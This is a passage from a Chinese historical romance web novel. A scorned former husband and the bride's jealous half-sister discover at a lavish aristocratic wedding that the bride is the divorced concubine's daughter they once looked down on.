远远只见卫如琢阴着脸静坐在书房里,死死盯着桌上一封红红的……似乎是信笺?还是什么东西。 庞氏边喊他边往内走。 卫如琢猛然回神,收好喜帖,外出来迎庞氏,“母亲这些时日不是身子不爽么?怎么过来了?” “琢哥儿,你这是怎么了?”靠近了之后,庞氏才留意到他浑身上下都湿透了,桌上也没什么东西。 庞氏道,“春日才过,这倒春寒可是厉害,你怎么弄成这副样子?!身边人是怎么伺候的!” 庞氏劈头盖脸就是质问,身边的小丫鬟们连忙去筹备干净的衣衫和热水。 卫如琢捏着眉心,压下心头盛怒,开口之时,声音有些许嘶哑,“适才不小心弄的。” 慌乱之下的一时之间,他哪里找得到周全的借口,能维持这样表面的平静,已然不错了。 “到底怎么了?”庞氏等他沐浴换衣之后出来问。 适才庞氏逼问这边的下人,谁都说不知道怎么回事,原以为方种月伺候不周到,庞氏叫人来问了,方种月惶恐也道不知。 看着卫如琢即便收拾过,依然能窥见出难看的脸色。 庞氏心急如焚,让他快说。 被问得很烦,卫如琢又不能大声说话,只回避,“朝政上的事而已,母亲不必担心。” “怎么能不担心,莫不是你又被人挤兑了?可尚书大人不是说会看顾你吗?” 为了亲近尚书府,帮尚书大人解决麻烦,人情世故往来之下,要给卫如琢打点,庞氏还动了一些她的嫁妆。 若这都办不好,真不知如何了。 一想到上次的无妄之灾,庞氏就心有余悸。 “并非尚书府的事情,而是儿子担心晋选不到尚书的位置,毕竟其余的三司大人也是虎视眈眈……” 这句话没说错,若是那个人真的是祝吟鸾,她攀上了高枝,一定 会报复卫家和祝家的。 现如今,卫如琢的心里乱麻麻,难以形容。 “只是担忧啊?”庞氏松了一口气,“真的没事发生吗?” “没什么事发生,母亲多虑了,天色不早了。母亲快去安寝吧,您的身子不好。” 多番逼问之下,卫如琢依然说没事发生,庞氏放不下心,她只能叫人去知会祝沉檀。 翌日,祝沉檀去了官署寻卫如琢。 他正在忙公事,心绪不佳,但又不能不见,除此之外,他还想要证实一二,便在官署旁边的茶馆见了祝沉檀之后问她知不知道沈景湛娶的女子是何方人物? 祝沉檀一头雾水,“不知,这个女人隐藏得很好,我听母亲说高门世家都不清楚她从哪里冒出来的。” “就没有一点消息?”喜帖不是都发出去了? 先前参加过他和祝吟鸾婚宴的人,怎么没人发觉异常。 思及此,卫如琢忽而一顿。 他是在几年前和祝吟鸾成的亲,当时卫家获罪,他没有打眼的官职,祝吟鸾又是个庶女,来的人压根不多,主要是庞氏也没有发多少喜帖。 况且就算来的人也不算高门显赫,这些人能够得到沈家施家发的喜帖吗? 便是如今的祝家都拿不到,他还是通过尚书大人才勉强拿到一封喜帖而已。 卫如琢在想,会不会是祝吟鸾故意的?想方设法让人把喜帖送到他的手上? 可转念一想,又觉得不可能。 祝吟鸾有这么大的本事吗? 若高嫁的这个人真的是她,那她不是应该与祝家卫家划清关系,为什么还要他去?她就不怕?还是要让他去看看,给他一个下马威? “如琢,你怎么不说话?发生什么事了?”祝沉檀被他晾在旁边喝茶,但还是耐着性子询问他。 卫如琢想了想,还是没有告诉祝沉檀。 他只道,“我得到了一张喜帖。” “什么喜帖?”祝沉檀一惊,“该不会是沈家和施家的喜帖吧?!” “嗯。”卫如琢点头。 “这是好事啊!”祝沉檀瞬间欣喜起来。 她居然能够去参加高门的婚宴了,前几日她和母亲还备受奚落,如今卫家拿到了帖子,她必然要去,得让那些人看看,她有没有资格去高门场面的宴会里走一走。 越想越行风,祝沉檀朝着他伸手,“喜帖呢?我看看?” “喜帖我暂没带出来,放在家中了。”卫如琢隐瞒到底。 看着眼前祝沉檀的笑脸,他忽然在想,若是祝沉檀看到上面人的名讳,还能笑得出来吗? 转过头,他又觉得荒谬,祝沉檀为何笑不出来? 祝吟鸾是她的妹妹啊,祝沉檀又不像祝吟鸾拜高踩低,只知道攀附高门,趋炎附势,祝沉檀被骆暄强娶,如今又转过头嫁给他,都是因为多年情意,她不是爱慕虚荣的女子。 若真是爱慕虚荣,就不会回过头再嫁给他了,她是喜悦他的。 “这些时日…祝吟鸾有没有回祝家去?” 闻言,祝沉檀脸上的笑意消失,“你问她做什么?” 不等卫如琢回答,她瞬间意识到她的语气不太好,立马就改了,“你今日怎么忽然想到问妹妹?” 卫如琢已经想好了借口,“她离开卫家之时,曾带走了一张母亲的地契,我想问她要回来,若她去了祝家,你记得告知我一声。” “原来是地契啊。”祝沉檀看着卫如琢的脸色,分辨着他话里的真假,见他神色没什么触动,一直是那样,便也松懈下来。 “对,她去了吗?” “她没去。”祝沉檀道,“自上次以后,她从卫家出去,就再也没回去了。” “她不仅拿了卫家的地契,甚至还拿了家里的铺子和田庄,霸占着不肯还呢。” 祝沉檀眼珠子一转,撒了一个网,“听母亲说她变卖了家中母亲给她的铺面,在京城寸土寸金的西南方买了一处宅子。” 卫如琢眸光一闪,“果真?” “是的啊。”祝沉檀见状他的反应,忍不住在心里冷笑。 他该不会还惦记着祝吟鸾吧。 这些时日与他在闲暇时说话,哪里见过他这副模样,要么略微不耐烦,要么心不在焉。 今日他倒是专注且有兴致。 “只是……” “只是什么?”卫如琢没注意到祝沉檀眼眸深处闪烁的冷笑。 “只是母亲上门两次,担心她一个人在外面出事,好言好语劝她归家,她觉得母亲多管闲事,烦家中人管束,搬走了,这些时日母亲再派人去找她,却是人去楼空。” “人去楼空?”她是不是去了施家? “若你不信,我可以告诉你确切的地址,你自己去看看,看看她在做什么,过得如何?” 卫如琢总算是听出来不对劲了。 他回神之后笑了一下,“沉檀,你不要多心,我只是为了地契。” “是吗?”祝沉檀没忍住呵了一声。 “是。”他看着祝沉檀,也不知是说给她,还是说给他自己,“我对祝吟鸾并无情意。” “那从前呢?”祝沉檀不依不饶,“你从前对她没有情意吗?你与她朝夕相处三四年,甚至同床共枕相拥而眠,甚至还要孕育后嗣……” 也幸而祝吟鸾不能生,否则还真不能够将她给赶走,祝沉檀在心里暗暗想。 可她的话却令卫如琢闪了神。 不论那个人是不是祝吟鸾,她脱离卫家之后,保不齐会再嫁。 若真有瞎眼的不嫌弃看上她,那祝吟鸾定然也会跟那个男人同床共枕相拥而眠,甚至一起孕育后嗣,做尽亲密的事情…… 越是往里想,卫如琢的心里越是火大。 怎么可以! “如琢你怎么不说话,你在想什么?”祝沉檀迟迟没有等到他的答案,开始催促。 “我只是在想,如何跟她拿回地契?你放心,我从来都没有喜爱祝吟鸾……” 他只是觉得这个女人愚弄了他,生气恼怒而已。 毕竟这爱慕虚荣的女人,与他和离多久,竟然就再嫁高门了,如果真的是她,那么她跟沈景湛一定早有联络,只怕暗地里已经私相授受无数次了。 听到这句话,看到他阴蹙的脸色,祝沉檀勉强放下心。 “那就好……” 她主动伸手过去拉着触碰卫如琢的手背。 婚期将近,祝吟鸾忍不住紧张。 她的喜服,原是要自己做的。 可谁知道,沈家那边送来了,说是不必劳累她,她什么都不用准备,大小事宜可以过目,但不用忙碌,闲得厉害。 祝吟鸾事先试了试,竟十分合适,仿佛为她量身打造。 上身之后显得她尊贵优雅,光彩夺目。 尤其是那凤冠…… 完全是纯金叶打造的,祝吟鸾第一反应和明芽一样,好漂亮……好重……这得多少银钱啊? 除此之外,还有手镯钗链无数,饶是祝吟鸾不为权势富贵所动,此刻都忍不住瞠目乍舌。 她受之有愧,忍不住道,“这会不会太大手笔了?” 如此显赫,恐怕不好? 更重要的是,她和沈景湛不过“利益盟姻”而已,就是为了敷衍家中,他竟然如此重视,这是祝吟鸾没有想到的,难道是因为高门世家的礼数如此吗? 可施家的人却说好,这是沈景湛重视她,给她脸面,嫁过去之后,再也不敢有人轻视欺负她了。 如此,祝吟鸾也不好说什么,怕说错话,叫别人误会。 “小姐,您往日里只穿浅素色的衣裙,这红色多好看啊!”明芽不住夸耀,姣惠在附和。 旁边施家小姐和小丫鬟们也跟着点头,说她模样生得俏丽,身段又婀娜,这艳些的衣服更为她增添光彩,叫人止不住看 她,实在是太美了。 “湛表哥见了,定然欢喜!” “是啊是啊!” “……” 祝吟鸾自幼少听过这些夸人的话,整个人羞得不行,尤其是最后一句话,她就算和沈景湛没什么情意,也架不住众人起哄,被打趣得止不住低头,耳尖都红了。 时□□近,转眼就到婚宴当日。 祝吟鸾早早便被人给叫了起来,吃了一些小食垫了垫肚子,梳洗过后坐到了妆奁台前,闭上眼睛让小丫鬟们给她上妆。 日头渐渐亮了起来,凤冠压上来的时候,祝吟鸾真觉得好重,她眉头忍不住皱了一下。 荣华富贵看着耀眼,但冠压下来至于头上之时,重得异常,没点力气都撑不住。 就像她和沈景湛之间的姻缘,显赫耀眼,但她要面对的,恐怕也不简单,她忍不住在心中担忧,紧张起来。 睁眼看到铜镜当中再着喜服上红妆的自己,又一次恍惚,她竟然真的再嫁了……还是嫁给沈景湛。 这些时日她一直跟着沈翕云接见施家,沈家旁支的亲戚好友,几乎抽不开身。 有些人婚宴来不了的,亦或者想要提前上门见见她的。 祝吟鸾还从未被这么多人重视注意过,众人对她无比好奇。 她猜测或许已经有人猜出了她的身份,但没有人提沈家或者祝家,当面也没露出任何的轻视,背地里祝吟鸾也不曾听到一句议论。 在施家住的这些日子,风平浪静,甚至可以说是她为数不多的舒坦闲时了。 她自幼多思敏感,施家三个姑娘都是爽朗的性子,两位兄长也大气,知道她的真实身份,庶女出身再嫁四年被休弃,对她竟没有丝毫偏见,还说英雄不问出处,夸她好。 甚至拐弯抹角宽慰她,怕她自卑怯懦,嫁入沈家受委屈,会跟她提前开小灶,说沈家都有些什么人,那些人性子如何,癖好怎样。 先前跟在庞氏身边,也听方种月提过沈家都有哪些人,今儿在施家,却是了解得更全面了些。 施从微从旁边走进来,见她看着铜镜发愣,安慰她,“鸾儿妹妹,你不要怕,湛表哥喜爱你,沈家的舅母叔婶们都不会多为难的。” 怕她饿,将装满果食糕点的荷包递给她,让她吃的时候小心些,不要弄脏了口脂。 “外头来了好多宾客,哥哥们约了人拦门,今儿必然要给沈世子一个下马威,叫他知道你不好娶,日后才不会亏待你!” 祝吟鸾感受着在祝家时从未有过兄长姊妹情谊,听着施从微跟她说着外面的事情,鼻尖泛起酸意。 施从微拉着她的手拍了拍她的手背,见她眼圈微红,又是哄,又是逗, “鸾儿妹妹,你怎么哭了,莫不是心疼湛表兄被哥哥们为难?” 第37章 第37章洞房花烛夜。 知道祝吟鸾面皮子薄。 施从微故意叹出一口气,“哎呀母亲说得对,果然是女大不留啊!” “你还没有嫁过去呢,竟然就开始心疼湛表兄了。”说罢,她还装模作样,擦了擦眼泪。 祝吟鸾虽然知道施从微是装哭,但还是不免紧张起来,因为施家的人都对她很好,她不希望任何施家的人露出愁云。 连忙解释,“我不是我只是舍不得姐姐们” “只舍不得姐姐,那兄长和母亲,父亲呢,你舍得吗?”施从微还在逗弄她。 “自然也是舍不得的。” 见到红衣姑娘一脸严肃,一本正经点头,好像只小猫咪,漂亮又可爱。 施从微实在是忍不住了,哈哈大笑起来,“鸾儿妹妹,我逗你寻乐呢,瞧把你吓的,怎么胆子还是这样小,真担心你被沈家的人,被湛表兄给欺负了。” 前头一句话都还正经,可后面这句话就 都是嫁过人的姑娘,即便是施从微不挤眉弄眼,祝吟鸾也清楚施从微在暗示些什么。 纵然她和沈景湛是假的,并不圆房,这一切不过就是走个过场,可说到那些事情,她的神色仍然浮现上不自然,“从微姐姐你你不要乱说。” “我哪里乱说了,鸾儿妹妹你在想什么呢?” 祝吟鸾撇开眼,她一动,整个凤冠的冠尾也跟着颤动。 偏生她的脸红,没有上脂粉的耳尖也快要被染透了。 看起来无比娇怯,可怜又软糯。 施从微想要捏捏她的脸蛋,可又怕弄脏了她的脂粉,到底没有接着逗她了,只跟她说一些姑娘家的私房话,叫她别紧张。 却说前头这边,施家门庭若市。 比前几次嫁女儿都还要热闹,谁让今日是沈世子娶亲。 即便是热闹,一切到底井井有序,没有过分的喧哗,亦或者场面乱得不可控制。 祝沉檀今日也是起了一个赶早,让小丫鬟给她收拾,换上她箱笼里最贵的华服,簪上了最好的头面,还特意收整了妆发,试了好几种口脂颜色。 她自认已经打扮得艳丽无双,便是家中的小厮都忍不住偷偷看她。 可出了府门,见到了来接她的卫如琢,祝沉檀发现他不仅无动于衷,就好似心不在焉,也不知道在想些什么,完全没有注意到她今日的光彩夺目,不仅没有多看她,也没有夸她一句半句。 原以为卫如琢也是紧张的,可没有想到,卫如琢哪里是紧张,分明就是不在意,因为马车走了大半,眼看着就要到京南那边去了,可他依然沉思,也不知究竟游神什么。 祝沉檀很不满意,叫了他的名字。 他才回神问她怎么了? “我怎么了?是你怎么了吧?”祝沉檀没有好气,别过脸,娇哼一声。 卫如琢被摆了脸子,这才反应过来,注意到她今日略显隆重的妆束。 他抛开思绪,笑着拉过祝沉檀的手,夸她生得美。 可触及祝沉檀的手腕之时,却莫名想到休弃祝吟鸾的那一日,他追到内院当中去,想要再给她一次机会,却被她给甩了脸子,他恼得攥住她的手,问她究竟是什么意思? 当时她的手,柔软纤细,好像一折就断,让人根本不敢用力。 她的眼尾红红,跟眼下的祝沉檀相比,并不一样,前者是脂粉染就,后者是哭红的。 这些时日,他一点都不好过,总是想到这场婚宴。 卫如琢都说不上来为什么,他想要这场婚宴快些来临,却又莫名害怕,就好比今日,过去沈家的路上,竟生出了退堂鼓的心思。 他都不知道自己在害怕什么。 难不成是害怕祝吟鸾傍上了沈家,会给他一个下马威吗? “你今日一直在游神,究竟出了什么事情?” 若不是卫如琢眉头紧皱,一脸愁容,她真的要以为他想哪个不知名的.贱.人。 听卫家收买的下人说,这些时日他也没有宿在方种月处,一直在官署。 除此之外,祝沉檀还去庞氏那边试探问了问,得知祝吟鸾的确带走了家中的地契,便也对卫如琢放心了,看来他没有说谎。 可她根本不知道,卫如琢早便跟庞氏通了通气,她自然就不得而知了。 “没什么事,只是惦记着尚书大人晋选的事情,这些时日三司主动作频频,我很担心……” 谎话张口就来,祝沉檀也没有起疑。 半是安慰半是警告,“你怕什么,只要我们成亲了,父亲一定会不留余力支持你,父亲这些年在官场也有不少相熟的人,待你成为祝家的女婿,大家都会帮你。” 这句话放在之前,卫如琢一定会无比欣喜,可现如今的他根本就笑不出来。 相比于他的晋升,祝吟 鸾的高嫁是什么? 那简直就是飞速腾升啊! 他根本就没有办法接受,祝吟鸾站在比他高的位置去。 他甚至不想过去,不想拆穿祝吟鸾了。 沈景湛是那么好糊弄的人吗? 若真的鬼迷心窍,在这种场面上,恐怕…… 这一刻,他竟然生了打退堂鼓的心思。 “不管怎么样,你可不要摆出这副愁云满面的样子,待会到了沈家,可都是高门的大人物,若是不小心得罪人,那可就得不偿失了。” 祝沉檀无意当中的一番话却令他如梦方醒。 他怎么能够生出打退堂鼓的心思来? 在没有得知祝吟鸾就是沈景湛要娶的新妇之前,他去赴这场喜宴的目的,可是为了结交高门,飞黄腾达的! 若是他打了退堂鼓,怎么跟尚书大人交代。 前面可是做了不少功夫,费了不少银钱,才拿到这张喜帖。 若是搞砸了,尚书大人一定会对他失望。 思及此,卫如琢瞬间压下心中乱糟糟的思绪,他攥住祝沉檀的手,“沉檀,多谢你对我的安慰。” 见他罕见的主动,祝沉檀的心里也慢慢浮上了愉悦。 很快便到了沈家。 初到如此多高门权贵的场合,饶是家中嫡女,祝沉檀忍不住提心吊胆起来,她下马车时小心翼翼,一双眼睛纵然克制了,但还是忍不住到处乱看。 卫如琢同样紧张,可是隐藏得很好,没有露出丝毫的马脚。 前面排起了长龙,都是显赫人家,两人乘坐来的马车已经算是两家最拿得出手的了,可在大族人家面前,依然不够看。 甚至有人瞧过来,是哪家的人?在如此隆重的场合,连个乘三驾的马车都拿不出来,只用乘一驾的马车? 祝沉檀感受到旁人投过来的目光,还以为是她今日的衣妆吸引了人,却不料已经被人看了笑话。 沈家占地广,门庭宽大,前来祝贺的宾客很快就往前挪了。 就快要到她和卫如琢的时候,旁边传来一声阴阳怪气的哟。 声音不大不小,正巧挤入祝沉檀的耳朵里,她转过去一看,原来是工部虞门司郎的女儿车芳恬,车家与骆家交好,车芳恬喜悦骆暄,早几年就想要嫁给他,但祝沉檀抢了先,两人自然就不对付了。 前不久得知祝沉檀想来吃沈家的喜酒,一直在想方设法弄请帖,便是她带着人在工部尚书府卿夫人的字面上暗地里讥讽她,没想到冤家路窄,竟然还能在沈家门口碰上。 车芳恬虽然没有嫁给骆暄,但得了一门好姻缘,嫁给了工部右侍郎为妻,结交了不少贵女,因此,沈家的席面,她也能来。 两人面上倒是装得很好,互相见了礼数。 卫如琢与右侍郎大人作揖之后,主动笑脸攀谈结交。 祝沉檀落在后面,跟车芳恬并列。 旁人不曾留意,自然不知道两人的过节,还以为两人在说说笑笑呢。 可凑近细听全是讥讽。 祝沉檀本来还想着扬眉吐气了,毕竟前些时日车芳恬讥讽她,说沈家门庭严格可不是什么阿猫阿狗都能够挤进来的。 可她不也是来了吗? 却没想到,刚见面就被车芳恬从头轻视扫到了脚,说她就像山鸡飞上了凤凰窝,瞧瞧这些高门贵女们,说有她打扮得艳俗,这是把全身家的珠钗都簪到头上戴出门了吗?如此累赘?好似没有见过世面一般。 祝沉檀听罢,当下脸都绿了。 皮笑肉不笑,“夫人真是沉不住气,今日怎么见人就咬?” 车芳恬被她噎了一下,当下还击,让她好生看看前面——卫如琢在攀结车芳恬夫君右侍郎的画面,祝沉檀忍不住攥紧了拳头。 “这天子脚下,尊卑分明,我劝祝小姐说话还是要谨慎一些,你可不要说错话做错事……否则偷鸡不成反蚀把米,竹篮打水一场空啊。” 说罢她捂着嘴笑了起来。 祝沉檀脸色扭曲,但已经到了沈家的台阶,不得不摆出笑脸,一时间心气难平。 “……” 进入沈家庭院,祝沉檀和卫如琢方才开了眼。 虽然早就知道沈家很大,但没想到进来之后竟然如此宽敞,雕梁画栋好似瑶台仙池一般,在天子之下这块寸土寸金的地方,竟能够占据如此方圆,足见沈家有多恐怖了。 来往的都是一些高门大人夫人还有王孙子弟,有些人祝沉檀甚至只见过画像,听过名讳,今儿得见真人,她忍不住心中砰跳,原来,这就是权势滔天的门阀。 在此强烈对比之下,她越发觉得自家与卫家寒酸起来,就连当初骆暄给她的婚宴都不够看了,尽管当时骆暄给她的婚宴也华丽奢靡,但两厢之下,在沈家面前都算些什么? 她现在预备要跟卫如琢成亲的喜服料子已经是寸锦寸金的云绫锦,花了不少心思采买到的,可看看这沈家的红绸,她没有看错的话,小丫鬟腰上系着的红绸就是她做喜服的云绫锦。 登时之间,她瞬间觉得屈辱起来,这股屈辱密密麻麻蔓延在她的心上。 她不想要那身喜服了,可若是再找,再往上要浮光锦,燕羽裳?那些恒州进贡的东西,别说她拿不出价钱,就算是拿出来了也买不起。 话说回来,小丫鬟腰间系的,亭台楼阁所用的红绸都这么名贵,那新妇的料子该有多好啊? 祝沉檀感觉她这世面见的无比心塞。 卫如琢带着她穿梭在沈家各处结交大人,基本上也处处碰壁,因为压根就.插.不上话,即便是.插.上话了,对方寥寥几句,就把卫如琢给隔离了出去了,压根就没有打算为他引荐,真真是面熟都混不出去了。 她心中郁结,却也不得不摆出笑脸,越发觉得是来出丑了。 时辰过得很快。 施家这边原本筹备了许多的难题要沈景湛作答,可万万没有想到,众人绞尽脑汁想了许久的题目,竟然被他一一化解了,且十分轻松。 施家都是武将,结交的好友自然也差不多的,文题出得不好,倒也无可厚非,再者说这沈景湛可是状元郎啊,又掌中书令,帮陛下拟诏写旨,玩弄笔墨,谁论得过他。 幸而,还准备了“三关六将”,绑了红绸的剑丢在双方手中,要求沈景湛将对方“六将”一一击败。 论起拳脚功夫,施家的人倒是来劲了。 却没想到还是一败涂地,沈景湛的红剑非常快。 他动手之时能够让对方感受到威慑,却也不压人,仗着自身武功高强,而叫施家前来拦门的人难堪,丢了面子。 众人即便是输,也输得心服口服。 沈景湛带过来的人撒了一波金叶子,施家的人便欢欢喜喜放行了。 祝吟鸾即便在内院也听到响彻云霄的锣鼓声了,刚往外看去,施从苑带着喜娘小丫鬟们风风火火走进来说沈景湛已经过了拦门的环节,快要到前院了。 祝吟鸾本来平静下来的心被大家搅和得紧张起来。 尤其是喜娘将团扇递给她的时候,她整个人都不敢说话了,心都忍不住提了起来,团扇遮住了她的视线,她端正手腕,左右两侧都有人搀扶着她。 “新娘子出阁咯!”牵引的喜娘在前面喊。 施家两个姐姐都在她身边陪同,伴随着许多小丫鬟们送她出门。 祝吟鸾心里慌张,却不怎么怕。 因为她被人簇拥在中间,不论走哪里都有人提醒脚下。 很快就绕过庭院长廊,到了前厅。 隔着繁丽的团扇,她见到了一抹同样着红色喜服的颀长身影。 即便视线朦胧,看不清楚,可她依然能够分辨出对方轮廓分明的俊脸,他在人群当中,真的好出众。 很快她由人搀扶着走到了这么颀长挺括的身影旁边。 感受到他身上清冽气息笼罩过来,祝吟鸾更紧张起来,施家前厅的人实在太多了,她不仅不敢说话,就连旁边的沈景湛她都不敢多看一眼。 沈翕云和施将军就坐在主位上。 虽然两人都不是祝吟鸾的亲生爹娘,却在短短的时日给了她不少温情,想到在施家的时日,她很愉悦,真的要出阁了,要嫁出去了,她竟然有些舍不得,尤其是看向沈翕云的时候,拜别的时候。 对方是为她高兴的,似乎也舍不得她,眼里隐隐约约闪着不易察觉的愁云。 “今你既出阁,往后定然要孝顺公婆,与夫郎有话好说,携手并进,和 和美美。”沈翕云道。 “女儿知道了。”祝吟鸾福了一礼。 她能感受到沈翕云对她的祝福,不像在祝家的时候,嫡母和父亲只跟她说嫁出去的女儿泼出去的水,日子是她自己过的,好也罢歹也罢,都是她自己的造化。 施将军往日里不善言辞,今日也细细叮嘱了很多句,他还对沈景湛道万万不能欺负他施家女儿,否则他可不管沈景湛是什么身份,两家有些什么交情。 沈景湛点头应好,已经改口叫上岳父大人了。 “好了,去吧,别耽误了吉时。” 沈景湛看向身侧羞涩腼腆的红妆姑娘,与她一道迈步出去。 直到进入花轿,祝吟鸾方才松了一口气。 适才沈景湛看着她就算了,还特别细心叫她注意台阶,旁边跟着的人低声起哄嬉笑,她面皮薄,总是忍不住脸红耳热。 施家到沈家的路途不算太远,但今日沈景湛娶亲前来凑热闹的百姓实在是太多了。 官府派了官兵前来维持秩序,可依然挡不住热情的百姓们。 大家都想看看这新娘子长什么样子。 但人坐在花轿里,压根就看不到。 虽然没有得偿所愿,却也拿到了不少的彩头。 沈家让人准备了很多分小喜袋,分给旁边凑热闹的百姓,里面装了桂圆花生红枣等物,以及铜板碎银子。 拿到喜袋的百姓们,纷纷说着祝两人百年好合早生贵子,永结同心的吉祥话。 往日里不苟言笑坐在马上的新郎官沈世子,竟然一一答谢众位百姓的祝贺,甚至回敬了众人,百姓们纷纷高.涨.起来,一时热闹非凡,挤过来的人越来越多。 坐在花轿之内的祝吟鸾自然听到了,她也没有想到沈景湛竟然如此平易近人。 但转念之间想到沈景湛往日里对她的照拂,又觉得很正常,他本来为人处事就很好,总是让人感觉如沐春风,温润细腻。 她这一门姻缘真是结的太快太好了…… 好到让她有种不真实的虚幻感。 祝吟鸾兀自想着,花轿晃晃悠悠,竟然已经到了沈家。 她猛然回神,拿起一旁的团扇,执着于面前,遮住她的脸蛋。 沈景湛下马来接她,祝吟鸾伸出一只手去。 上一次被他牵住,还是下马车的那一会。不过是在很久之前了。 他的手上宽大一如既往,温热烫得她下意识想要回缩,却又被他给抓住,他以灵巧的手势,将她的手给攥握住。 这股力道看似温和,却又隐藏着不容人退却的强势。 说不上来为什么,那一瞬间,她莫名其妙恐慌了一下。 “……” 总觉得,这不像她认为的认识的沈景湛,但他又真真切切是他啊。 或许是错觉吧,她初到沈家,快要进门了,自然是慌张的。 他也应当是察觉到她的恐惧,想要安抚她吧。 对,她太心慌了。 祝吟鸾放松下来,让沈景湛扶着她下花轿。 下了花轿之后,经过喜娘提醒,他才松开她的手,与她一道并列走进去。 祝吟鸾感受到的注视越来越多了,也有人低声议论,但声音很小,她听不到旁人说些什么。 只觉得从沈家大门走到正厅的路好是漫长啊。 她没有来过沈家,只能由旁边陪嫁的沈家的小丫鬟和喜婆们领路,更重要的是,沈景湛在她的身侧。 与沈景湛并列而行,果然吸引了无数的目光。 这些看过来的人,她只知道都是高门大人夫人,贵女王孙,却无从分辨,也不敢乱看。 集中在她身上的目光实在是太灼烈了,多得很,一道又一道,祝吟鸾只能一一忍耐,目不斜视走好脚下的路。 团扇遮住了她的脸,却不似红盖头一般能够遮得完全。 她哪里知道,今日来的人当中,竟然有祝沉檀和卫如琢。 自打沈家下人说世子爷已经接到了新娘子,正往里面来呢。 卫如琢便立刻起身,挤到了隐蔽又能观察的角落。 祝沉檀跟在他的身边,不明所以,但也没有说话,今日受的瘪实在太多了,她心气不畅却又没地方发泄。 刚想问卫如琢看什么? 他的目光实在是太凝聚了,就这么直接且全神贯注盯着沈家长廊正厅那地方。 祝沉檀不认为卫如琢是在好奇沈景湛,要上前攀结,她只觉得他如这些贵女公子们一般想看新妇,他这般好奇那新妇吗? 可还没有等问,长廊那头的人群露面,走过来之后,卫如琢凝盯着不远处的红色身影,他的神色骤变,难看至极的同时,浑身都紧绷起来。 祝沉檀不明所以,也随之看去,第一眼还好,第二眼她只是觉得有些许眼熟。 第三眼第四眼……这个新妇,这个女人,怎么那么眼熟? 到底是谁?她在哪里见过?太眼熟了! 沈景湛带着红衣女子走过来,靠得越近,长廊之下,从侧面窥见新妇样貌的祝沉檀整个人仿佛被雷霆击中。 祝沉檀脸上的神色崩塌,伪装了许久的笑意彻底消失了,从怀疑到震惊再到惊悚。 她没有看错吗?! 沈景湛娶的新妇,施家不为人知的义女,怎么跟她那唯唯诺诺,被卫家休弃下堂之后,走投无路到不知所踪的庶出妹妹祝吟鸾长得一模一样? 不!不是一模一样,就是她! 祝沉檀愣了许久许久,对面的人消失在长廊,走入了正厅,她才勉强回神。 刚要冲上去质问,她是不是祝吟鸾,她怎么会在这里!却被旁边的人给拽住,他捏着她的手腕,用了很大力气,仿佛也在克制。 祝沉檀疼得皱眉,但此刻的她没有办法顾及这些,而是低吼问他为什么拽着她。 “你没有看到那个人是谁吗?!” 祝吟鸾那个小贱人! 对上卫如琢难看的脸色,想到他今日的种种反常,前几日的走神,她总算是明白到底为什么了。 什么狗屁的为尚书之位担忧,压根就是早就知道了祝吟鸾高嫁! 思及此,她还有什么不明白的! 旁边已经有人留意到了这边似乎起了争执,卫如琢看她同样的脸色失控,带着她离开了长廊。 幸而沈家地方大,眼下新人在拜双亲高堂,没有人留意到后院隐蔽的角落里。 祝沉檀心里乱糟糟的,她又妒又恨,说清醒了却也没有。 她要怎么接受,她艳羡眼红了一整日的新妇,竟然是她曾经看不起的庶出妹妹? 她居然再嫁了,还嫁到了沈家?!!! 知道不应该展露情绪,此时此刻的她却怎么都控制不住。 “你……你是不是早就知道今日嫁给沈家的人是祝吟鸾?” 卫如琢此刻也不好受。 若说那封喜帖不过就是导火索,那今日祝吟鸾身上所着的耀眼夺目的喜服,就是易燃火木,两者合并,简直将他点燃到怒火中烧的地步。 他先前还不怎么相信,抱有一丝侥幸,现如今却是不得不相信了。 看到她再着喜服嫁给了旁人,还是嫁给了京城最得势年轻的权.臣,他哪里能够接受。 难怪她不回卫家求饶,原来是攀上了高枝。 “我只是猜测。”卫如琢闭上眼睛,企图遮掩焦躁不安的心绪。 “什么猜测?”祝沉檀追问,脸色很不好看。 “我之前从尚书大人手里拿到了一封喜帖,那封喜帖上面写了祝吟鸾三个字,我起初以为只是同名同姓,可喜帖上面还有她的生辰八字……” “料想世上没有这样的巧合,便想查探消息,可沈家施家实在藏得太好了,令我无从下手。” “今日过来一看,竟然真的是她。”卫如琢咬牙切齿道。 祝沉檀心火燃烧,她还在逼问,“既然如此,你怎么不早告诉我!” 还带着她过来看笑话,围观祝吟鸾的高嫁,看着她趾高气昂吗? 一想到前些时日,她跟母亲为了弄一张沈家的喜贴几乎是四处送礼求人,想到今日她出门时用尽心思的装扮却被人讥讽野山鸡,想到沈家丫鬟腰间系着跟她喜服一样的绸缎,想到跟在卫如琢身边四处攀谈却饱受奚落…… 祝吟鸾说不定还安.插.了眼线在周围,就等着看她的笑话呢。 卫如琢再怎么晋升,怎么跟沈景湛比啊?! 祝沉檀觉得再待下去,她一定会发疯失控。 所以她闭眼又睁,用尽力气维持了最后的体面急匆匆离开 了这里。 被甩在后面的卫如琢盯着前厅的方向,脸色又绿又黑,“……” 前面沈家的正厅,一直到拜完高堂,被送入洞房等待,坐到床榻边沿的那一瞬间,祝吟鸾方才松了一口气。 小丫鬟们全都退了出去,她轻轻把手里的团扇放下,打量着所在的内室。 第一反应是好大好宽敞。 只是一个内室而已,完全不亚于一个庭院了。 妆奁台,博古的置物架,还有桌椅小几,肉眼可见的用料名贵。 她看着摇曳的烛火,感受着夜晚的静谧。 有些饿了,祝吟鸾拿出施从微给她准备的小荷包,打开之后小心翼翼吃了几口。 头上的凤冠实在是太重了,怕掉,她也不敢大幅度动作。 可才走了一会神,忽而听到外面传来脚步声,请安声。 喊的是世子爷金安。 祝吟鸾忙不迭将小荷包一把.塞入锦被当中,她拿起团扇遮住脸,被吓得心跳好快。 这时候门被推开了,男人正在往这边靠近。 第38章 第38章你要与我圆房吗?” 他靠近的步伐并不算很快,不急不缓,且十分的轻、稳。 分明说好了不过就是假成亲,祝吟鸾都不知道自己在紧张些什么。 心跳如雷。 比上一次跟卫如琢成亲都还要慌乱,或许是因为她放下在偷偷吃糕点,也不知道沈景湛有没有发觉,她藏得快应该没有露馅吧? 说到上一次,即便已经过去了四年多,但祝吟鸾依然能够回忆起当时的场景。 她初次成亲,虽然是替长姐嫁过去,周全家中的面子,但她还是及笄不久的姑娘,焉能不紧张和期待,况且,她没有见过卫如琢几次,说过几句话。 对他这个人的认识,止步于长姐的未婚夫婿几个字。 谁知阴差阳错,昔日的长姐未婚夫婿竟成了她的郎君? 新婚之夜的忐忑紧张与羞涩,全被卫如琢的平静如水给消磨了。 